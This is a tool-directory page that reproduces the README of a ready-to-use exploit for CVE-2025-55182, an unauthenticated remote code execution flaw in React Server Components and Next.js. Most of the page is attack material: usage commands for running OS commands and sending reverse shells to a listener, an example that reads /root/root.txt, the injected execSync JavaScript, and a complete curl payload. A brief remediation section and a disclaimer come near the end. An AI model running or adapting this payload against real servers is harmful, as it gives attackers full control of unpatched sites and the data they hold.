Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
React2Shell-CVE-2025-55182 β€” CVE-2025-55182 β€” Unauthenticated RCE in React Server Components (React2Shell). CVSS 10.0 exploit tool for authorized penetration testing. | Kitploit
Tools/GitHubGitHub/speatx/react2shell-cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development
GitHub
speatx/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

CVE-2025-55182 β€” Unauthenticated RCE in React Server Components (React2Shell). CVSS 10.0 exploit tool for authorized penetration testing.

View Repository
1645 months agoNot yet reviewed
Share

CVE-2025-55182 β€” React2Shell

Unauthenticated RCE in React Server Components via insecure deserialization of the Flight protocol. A single HTTP request is enough to execute arbitrary code on the server β€” no credentials, no prior access needed.

   _____                  __  _  __
  / ___/____  ___  ____ _/ /_| |/ /
  \__ \/ __ \/ _ \/ __ `/ __/   /
 ___/ / /_/ /  __/ /_/ / /_/   |
/____/ .___/\___/\__,_/\__/_/|_|
    /_/
      React Server Components β€” Flight Protocol RCE
               CVE-2025-55182  Β·  CVSS 10.0
           Author: SpeatX  Β·  OSCP Style  Β·  v1.0

CVE-2025-55182 Β· CVSS 10.0 Β· Unauthenticated Β· Pre-auth RCE Β· Disclosed December 3, 2025

Affects React 19 (≀ 19.2.0) and any Next.js application using Server Actions. Default configurations are vulnerable β€” no custom code needed on the target side.

Affected versions

PackageVulnerableFixed
react-server19.0.0 β†’ 19.2.019.3.0+
nextall with React 19 unpatched15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+

Installation

git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests

Python 3.8+ required. No other dependencies.


Usage

python exploit.py <module> -t <target> [options]
Modules:
  check      Fingerprint target and confirm vulnerability
  exec       Execute a single OS command and read the output
  revshell   Send a reverse shell to your listener

Options:
  -t, --target URL      Target URL
  -c CMD                Command to run  (exec module)
  --lhost IP            Your IP  (auto-detected from tun0 if not set)
  --lport PORT          Listening port  (default: 4444)
  --shell-type TYPE     bash Β· python3 Β· nc Β· mkfifo Β· node  (default: bash)
  --proxy URL           Route through a proxy  (e.g. http://127.0.0.1:8080)
  --random-agent        Rotate User-Agent on each request
  --timeout N           Request timeout  (default: 15)

Recommended workflow β€” always start with check:

# 1. Confirm the target is vulnerable
python exploit.py check -t http://10.10.11.50

# 2. Run commands to enumerate or grab flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"

# 3. Get a shell when you need interactivity
#    (start your listener first: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001

Proxy support and random User-Agent work with any module:

python exploit.py check   -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec    -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080

Per-module help: python exploit.py <module> --help


How it works

Background

React Server Components communicate using an internal streaming format called the Flight protocol. When a browser invokes a Server Action, it sends a multipart/form-data POST to the app root with a Next-Action header. The server passes the body to the react-server package for deserialization before doing anything else β€” including validating the action ID.

Browser                         Node.js / Next.js
  β”‚                                    β”‚
  │── POST /  ────────────────────────>β”‚
  β”‚   Next-Action: x                   β”‚
  β”‚   Content-Type: multipart/form-dataβ”‚
  β”‚   Body: poisoned Flight chunk      β”‚
  β”‚                                    β”‚
  β”‚                    react-server    β”‚
  β”‚             resolveModelToJSON()   β”‚  ← vulnerable
  β”‚                                    β”‚
  β”‚<── 307 + X-Action-Redirect ───────│  output here

The bug

Inside resolveModelToJSON(), the deserializer walks the incoming JSON chunk. When it encounters an object with a then property it treats it as a Promise and awaits it β€” intentional behaviour for async Server Components. The problem: no validation is done to confirm the thenable came from a trusted source.

An attacker injects a fake chunk into the multipart body containing a then property that points to require('child_process').execSync(...). React awaits it, the OS command runs.

Why Next-Action: x works

In production, Server Actions are identified by a SHA hash. The server should validate this before processing. But the Flight decoder runs before that check β€” meaning any POST with a Next-Action header, even a completely fake one like x, triggers the vulnerable deserialization path. No valid action ID is needed.

Output exfiltration

The injected code captures the command output and throws a crafted NEXT_REDIRECT error:

var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

Next.js catches this and converts it to a 307 Temporary Redirect, embedding the digest in the X-Action-Redirect response header. The command output arrives URL-encoded:

HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;

Manual exploitation with curl

curl -si -X POST http://TARGET/ \
  -H 'Next-Action: x' \
  -H 'Content-Type: multipart/form-data; boundary=----Boundary' \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'

Output is in the X-Action-Redirect header, URL-encoded after /login?a=.


Remediation

npm install react@latest react-dom@latest next@latest

Minimum safe: react-server β‰₯ 19.3.0 Β· next β‰₯ 15.3.6

If patching is not immediately possible:

  • Set experimental: { serverActions: false } in next.config.js
  • Block the Next-Action header at the reverse proxy level
  • WAF rule: reject POST bodies containing NEXT_REDIRECT or __proto__

References

  • NVD β€” CVE-2025-55182
  • Wiz Research
  • OffSec
  • Microsoft MSTIC
  • Google GTIG

For authorized penetration testing and educational purposes only.

Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools β†’